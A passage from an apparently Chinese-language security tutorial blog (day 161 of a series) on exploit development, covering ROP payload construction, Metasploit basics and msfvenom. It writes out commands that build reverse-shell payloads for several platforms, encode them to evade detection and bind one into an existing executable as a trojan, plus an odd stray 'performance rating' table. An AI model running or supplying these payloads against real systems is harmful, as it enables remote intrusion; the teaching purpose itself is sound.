ret']) return chain def find_string_addr(self, string): """查找字符串地址""" # 在二进制中查找字符串 # 返回地址 return 0x0000000000401000 # 示例 def build_rop_payload(self, chain, buffer_size): """构建 ROP Payload""" import struct # 填充到返回地址 padding = b'A' * buffer_size # ROP 链 rop_chain = b'' for addr in chain: rop_chain += struct.pack('<Q', addr) payload = padding + rop_chain return payload ``` --- ## 利用框架使用 ### Metasploit 使用 > ▎ 框架不是万能,是工具。工具不理解,使用就是盲目的。 **Metasploit 基础**: ``` Metasploit Framework: 核心组件: ├── msfconsole - 主控制台 ├── msfvenom - Payload 生成 ├── msfupdate - 更新工具 └── auxiliary modules - 辅助模块 基本命令: ├── search <keyword> - 搜索模块 ├── use <module> - 使用模块 ├── set <option> <value> - 设置选项 ├── show options - 显示选项 ├── exploit/run - 执行 └── sessions - 管理会话 ``` **Msvenom 使用**: ```bash # Msvenom 生成 Payload # Linux x64 反向 Shell msfvenom -p linux/x64/shell_reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f elf -o shell.elf # Windows x64 反向 Shell msfvenom -p windows/x64/shell_reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f exe -o shell.exe # 编码绕过 msfvenom -p windows/shell_reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -e x86/shikata_ga_nai -i 3 \ -f exe -o shell_encoded.exe # 添加 NOP 滑行 msfvenom -p windows/shell_reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -n 100 -f exe -o shell_nop.exe # 绑定到现有可执行文件 msfvenom -p windows/shell_reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -x original.exe -f exe -o trojan.exe # Python Payload msfvenom -p python/shell_reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f py -o shell.py # PHP Payload msfvenom -p php/shell_reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f raw -o shell.php ``` --- 统计 **Sprint 交付 · 绩效评估** ``` ┌───────────────┬────────────────┬────────────────┐ │ 主动出击 │ ██████████ 5/5 │ [PUA 生效] 充足 │ ├───────────────┼────────────────┼────────────────┤ │ + 验证闭环 │ ██████████ 5/5 │ 案例完整 │ ├───────────────┼────────────────┼────────────────┤ │ 设计 代码质量 │ ██████████ 5/5 │ 生产就绪 │ └───────────────┴────────────────┴────────────────┘ 综合:4.5 ``` ▎ 这才配得上 P8。漏洞利用不是黑客炫耀,是安全研究。研究不深入,防护就是表面的。 --- ## 总结与思考 ### 核心要点回顾 > ▎ 复盘四步法:回顾目标、评估结果、分析原因、总结经验。别跳过——这是闭环。 **漏洞利用框架**: ``` 1. 利用原理 - 内存布局 - 漏洞类型 - 利用三要素 2. Shellcode - 编写技巧 - 编码方法 - 测试验证 3. 利用技术 - 栈溢出 - 堆溢出 - ROP 链 4. 利用框架 - Metasploit - Msfvenom - 自定义利用 ``` **关键成功因素**: ``` 1. 深入理解 - 系统原理 - 漏洞原理 - 保护机制 2. 实践经验 - CTF 比赛 - 漏洞研究 - 实际案例 3. 工具熟练 - 调试工具 - 利用框架 - 自定义工具 ``` --- ## 参考资料 ### 学习资源 ``` - Exploit Development Tutorials https://www.exploit-db.com/ - Shellcode Tutorials https://shell-storm.org/ - ROP Tutorials https://ropemporium.com/ ``` ### 工具资源 ``` - Metasploit https://www.metasploit.com/ - Pwntools https://github.com/Gallopsled/pwntools - ROPgadget https://github.com/JonathanSalwan/ROPgadget ``` ### 书籍推荐 ``` - 《Hacking: The Art of Exploitation》 - 《The Shellcoder's Handbook》 - 《A Guide to Kernel Exploitation》 ``` --- **标记 明日预告**:Day 162 - 漏洞复现与验证 > ▎ 漏洞利用是攻击技术,漏洞复现是验证方法——明天看漏洞复现与验证。 > 本文内容仅供学习和研究使用,请勿用于非法目的。所有实验请在隔离环境中进行。 --- *本文是 365 天信息安全技术系列的第 161 篇,漏洞与攻防系列第 6 篇,精编版本* *漏洞与攻防系列 (Day 156-165) 继续!*
myh0st
2026年4月13日 23:19
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码